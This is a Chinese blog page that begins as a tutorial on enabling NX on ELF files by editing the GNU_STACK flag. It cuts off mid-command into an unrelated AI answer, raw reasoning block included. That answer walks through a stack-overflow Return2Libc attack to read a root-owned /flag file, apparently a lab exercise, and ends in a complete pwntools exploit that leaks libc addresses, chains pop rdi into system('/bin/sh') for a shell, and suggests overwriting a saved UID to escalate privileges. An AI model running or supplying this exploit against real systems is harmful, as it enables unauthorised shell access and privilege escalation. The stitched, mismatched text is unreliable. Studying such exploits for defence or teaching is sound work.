如何开启elf可执行文件的 NX

本文介绍了如何开启ELF文件的NX(No eXecute)保护,通过修改程序头表中的GNU_STACK标志,从RWE变为RW,以增强程序的安全性。详细步骤包括阅读checksec.sh源码,理解readelf输出,并使用hexedit手动或通过elffile库自动化修改ELF文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、如何开启程序的 NX

NX 位存在于 ELF 文件里面的一个字段中。关于 ELF 文件的格式可以参考这篇文章

通过阅读 checksec.sh的源码,可以看到他检查 NX 相关的部分如下

  # check for NX support
  $debug && echo -e "\n***function filecheck->nx"
  if $readelf -W -l "$1" 2>/dev/null | grep 'GNU_STACK' | grep -q 'RWE'; 
<think>好的,我现在需要帮助用户利用栈缓冲区溢出和Return2Libc技术,在启用了NX保护的Linux环境中读取root权限下的/flag文件。首先,我得回忆一下相关知识点。 用户提到要通过SSH远程登录到容器中,所以首先可能需要获取目标程序的漏洞点,比如存在缓冲区溢出的程序。然后,由于NX(即DEP)保护机制开启,栈上的数据不可执行,所以传统的注入shellcode的方法可能不可行,必须使用Return2Libc这样的技术来绕过。 Return2Libc的核心思路是通过覆盖返回地址,跳转到现有的库函数,比如system或execve,来执行命令。这里的目标是读取/flag文件,可能需要执行类似system("cat /flag")的命令。但需要注意,system函数的参数需要正确传递,这取决于目标系统的调用约定,比如x86和x64的区别。 首先,我需要确定目标程序的架构是32位还是64位,这会影响寄存器和参数传递的方式。假设是64位系统,那么参数通过寄存器传递,第一个参数放在RDI中。因此,需要找到pop rdi; ret这样的gadget来设置参数。 步骤可能包括: 1. 确定缓冲区溢出的偏移量,找到覆盖返回地址的位置。 2. 泄漏libc的基地址,以计算system函数和字符串"/bin/sh"的实际地址(如果ASLR启用的话)。但用户提到使用Return2Libc,可能假设ASLR未启用,或者需要先泄漏地址。 3. 构造ROP链,将参数传递给system函数,比如将"/bin/sh"的地址放入RDI,然后调用system。 4. 如果目标程序有权限读取/flag,可能需要提升权限,但用户提到需要root权限,可能需要利用其他漏洞提权,或者假设程序本身具有suid权限,运行时的权限足够。 但用户的问题更具体,是读取proj1目录下的/flag文件,可能程序本身有权限,或者需要通过某种方式执行命令。比如,构造ROP链调用system("cat proj1/flag")。 首先需要获取目标程序的漏洞点,比如一个存在栈溢出的函数,能够覆盖返回地址。然后,需要找到libc中的system函数的地址,以及字符串"cat proj1/flag"的地址,或者通过其他方式构造参数。 可能的步骤分解: 1. **确定溢出偏移量**:通过调试工具(如GDB)确定溢出点,即需要多少字节才能覆盖到返回地址。例如,填充缓冲区直到覆盖RIP的位置。 2. **泄漏libc地址**:如果ASLR启用,可能需要先泄漏libc中的某个函数的地址,比如puts或printf,通过计算偏移得到libc基址,进而找到system和字符串的地址。例如,覆盖返回地址为puts@plt,参数为puts@got,以泄漏puts的实际地址。 3. **构造ROP链**:利用泄漏的libc地址计算system和/bin/sh的地址。然后构造payload:填充缓冲区 + ROP链(pop rdi; ret指向"/bin/sh"字符串地址) + system地址。 4. **执行命令**:调用system("cat proj1/flag"),输出结果。 但用户的情况可能需要更具体的调整。比如,是否有现成的字符串可用,或者需要将字符串写入内存的某个位置。此外,需要考虑栈对齐问题,尤其是在x64架构中。 例如,一个可能的payload结构: - 溢出缓冲区填充到返回地址位置。 - 覆盖返回地址为pop_rdi_ret的gadget地址。 - 接着是参数(如"cat proj1/flag"字符串的地址)。 - 然后是system函数的地址。 不过,如何获取"cat proj1/flag"的字符串呢?如果程序本身没有这个字符串,可能需要通过溢出将字符串写入内存的某个可写区域,比如.bss段,或者在libc中找到可用的字符串(如"/bin/sh"),然后执行cat命令。 或者,可能更简单的是调用system("cat proj1/flag"),但需要将这个字符串的地址作为参数传递。这时候可能需要将字符串写入栈中,或者寻找内存中已有的部分。 如果无法直接写入字符串,可能需要分步骤,例如,使用多个ROP gadgets将字符串逐个写入内存,或者利用现有的字符串片段拼接。 另外,需要考虑栈的布局,确保在跳转到system时,栈的对齐正确,否则可能会触发段错误。例如,在x64中,调用函数时栈需要对齐到16字节边界,可能需要添加额外的ret指令来调整栈指针。 总结步骤: 1. 找到溢出点,确定覆盖RIP的位置。 2. 泄漏libc地址,计算system和必要字符串的地址。 3. 构造ROP链,设置参数并调用system。 4. 确保栈对齐和正确执行流程。 可能遇到的挑战包括:找不到合适的gadgets、ASLR导致地址随机化、字符串参数的构造等。需要逐步调试和验证每一步是否正确。 此外,参考用户提供的引用,特别是引用[4]中提到的覆盖RIP的方法和引用[5]中关于绕过ASLR的可能方法,但用户的问题中似乎已经确定使用Return2Libc,可能ASLR未启用或已泄漏地址。 现在需要将这些思路整理成具体的步骤,并给出示例payload和代码。</think>### 利用栈溢出与Return2Libc技术读取/flag文件步骤 #### 1. 确定溢出偏移量 使用GDB调试目标程序,构造测试输入确定覆盖返回地址的偏移量。例如填充`AAAABBBBCCCC...`观察崩溃时RIP的值,计算需要多少字节覆盖到返回地址位置[^4]。 #### 2. 获取Libc函数地址 若目标系统启用ASLR,需先泄漏libc基址。通过调用`puts@plt`输出`puts@got`的值,计算libc基址: ``` libc_base = leaked_puts_address - libc.symbols["puts"] system_addr = libc_base + libc.symbols["system"] bin_sh_addr = libc_base + next(libc.search(b"/bin/sh")) ``` #### 3. 构造ROP链(以x64架构为例) - **Gadget查找**:使用`ROPgadget`工具查找`pop rdi; ret`指令地址。 - **参数设置**:将`/bin/sh`字符串地址(来自Libc)存入RDI寄存器。 - **调用system**:跳转到`system`函数执行`cat proj1/flag`。 示例Payload结构: ``` payload = b"A" * offset # 填充至返回地址 payload += p64(pop_rdi_ret) # pop rdi; ret payload += p64(bin_sh_addr) # 参数:/bin/sh地址 payload += p64(system_addr) # 调用system("/bin/sh") ``` #### 4. 执行命令读取文件 通过`system("/bin/sh -c 'cat proj1/flag'")`生成交互式Shell或直接输出结果。若需要非交互式执行,可构造完整命令字符串: ``` payload += p64(pop_rdi_ret) payload += p64(cmd_str_addr) # "cat proj1/flag"字符串地址 payload += p64(system_addr) ``` #### 5. 完整利用代码示例(Python3) ```python from pwn import * context(arch="amd64", os="linux") p = remote("目标IP", SSH端口) # 通过SSH连接到容器 # 1. 泄漏libc地址 rop = ROP(elf) rop.call(elf.plt["puts"], [elf.got["puts"]]) rop.call(elf.symbols["main"]) # 返回main函数进行二次溢出 payload = b"A" * offset + rop.chain() p.sendline(payload) leaked_puts = u64(p.recv(6).ljust(8, b"\x00")) # 2. 计算system与/bin/sh地址 libc = ELF("libc.so.6") # 需匹配目标libc版本 libc_base = leaked_puts - libc.symbols["puts"] system_addr = libc_base + libc.symbols["system"] bin_sh_addr = libc_base + next(libc.search(b"/bin/sh")) # 3. 构造最终Payload rop = ROP([elf, libc]) rop.call(rop.rdi, bin_sh_addr) rop.call(system_addr) payload = b"A" * offset + rop.chain() p.sendline(payload) p.interactive() # 获取Shell后执行cat proj1/flag ``` #### 关键注意事项 - **Libc版本匹配**:需确保本地分析的libc版本与目标一致,可通过`ldd`命令查询。 - **栈对齐**:x64中调用函数前栈需16字节对齐,可通过添加`ret`指令调整。 - **权限提升**:若程序未以root运行,需结合其他漏洞提权,如覆盖保存的UID变量[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值